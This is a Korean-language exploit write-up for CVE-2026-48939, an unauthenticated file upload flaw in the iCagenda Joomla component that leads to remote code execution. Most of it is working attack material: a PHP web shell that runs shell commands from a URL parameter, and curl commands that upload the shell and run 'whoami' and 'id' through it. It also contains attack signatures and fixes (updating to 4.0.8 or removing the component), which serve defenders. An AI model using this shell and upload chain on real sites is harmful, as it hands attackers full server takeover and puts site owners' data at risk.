CVE-2026-48939 - iCagenda 인증되지 않은 파일 업로드를 통한 RCE

개요

취약점 설명

iCagenda는 Joomla용 인기 있는 이벤트 및 달력 구성 요소로, 인증되지 않은 파일 업로드 취약점이 있어 원격 공격자가 Joomla 6 사이트에서 임의의 PHP 코드를 업로드하고 실행할 수 있습니다.

기술 세부 사항

취약점은 프런트엔드 이벤트 제출 양식의 파일 첨부 기능에 존재합니다:

1. 접근 제어 누락: 제출 엔드포인트(index.php?option=com_icagenda&task=registration.submit)는 인증을 강제하지 않아 "등록 사용자만" 접근 설정을 우회합니다.

2. 파일 검증 없음: 업로드된 파일은 다음 없이 원래 확장자로 저장됩니다:

   • 확장자 허용 목록 검증
   • MIME 유형 확인
   • 파일 콘텐츠 검사

3. 직접 파일 쓰기: 파일은 웹 루트 바로 아래의 /images/icagenda/frontend/attachments/[filename]에 기록됩니다.

4. PHP 실행: Joomla 6에서 업로드된 .php 파일은 실행 가능하므로 원격 코드 실행(RCE)으로 이어집니다.

개념 증명

방법 1: curl 사용 (단일 명령)

# Create PHP shell payload
cat > /tmp/shell.php << 'EOF'
<?php
echo "CVE-2026-48939 - SHELL ACTIVE\n";
if(isset($_GET['cmd'])) {
    echo shell_exec($_GET['cmd'] . " 2>&1");
}
?>
EOF

# Upload the shell
curl -k -s \
  -F "title=Test Event" \
  -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \
  "https://poloss-jomola.ddev.site/icagenda_submit.php"

# Execute commands via uploaded shell
curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami"

방법 2: PoC 스크립트 사용

# Navigate to project directory

# Run PoC script
./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site

악용 단계

1. 취약한 엔드포인트 식별:

   root@kitploit:~

   https://target.com/index.php?option=com_icagenda&task=submit
   

2. PHP 웹 셸 업로드:

   root@kitploit:~

   curl -X POST -F "jform[attachment][email protected]" \
     "https://target.com/index.php?option=com_icagenda&task=submit"
   

3. 셸 실행:

   root@kitploit:~

   curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id"
   

영향

• 기밀성: 기밀성 완전 손실 - 공격자가 모든 파일을 읽을 수 있음
• 무결성: 무결성 완전 손실 - 공격자가 모든 데이터를 수정할 수 있음
• 가용성: 가용성 완전 손실 - 공격자가 서비스를 거부할 수 있음
• 원격 코드 실행: 서버 전체 장악

공격 시그니처

실제 악용 로그에 기반한 공격 시그니처는 다음과 같습니다:

# Step 1: Upload
POST /index.php?option=com_icagenda&task=submit
User-Agent: icagenda-batch/1.0
Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php"

# Step 2: Execute
GET /images/icagenda/frontend/attachments/shell.php?cmd=...
User-Agent: icagenda-batch/1.0

해결 방법

1. 즉시: iCagenda를 4.0.8 버전으로 업데이트 (레거시 브랜치는 3.9.15)
2. 대안: com_icagenda 폴더를 임시로 제거하거나 이름 변경
3. 참고: 구성 요소 게시를 취소해도 이 취약점으로부터 보호되지 않습니다

참고 자료

• iCagenda 제로데이 RCE - mysites.guru
• iCagenda 공식 사이트
• 4.0.8 변경 로그
• CISA ADP 권고

면책 조항

이 PoC는 교육 및 승인된 보안 테스트 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.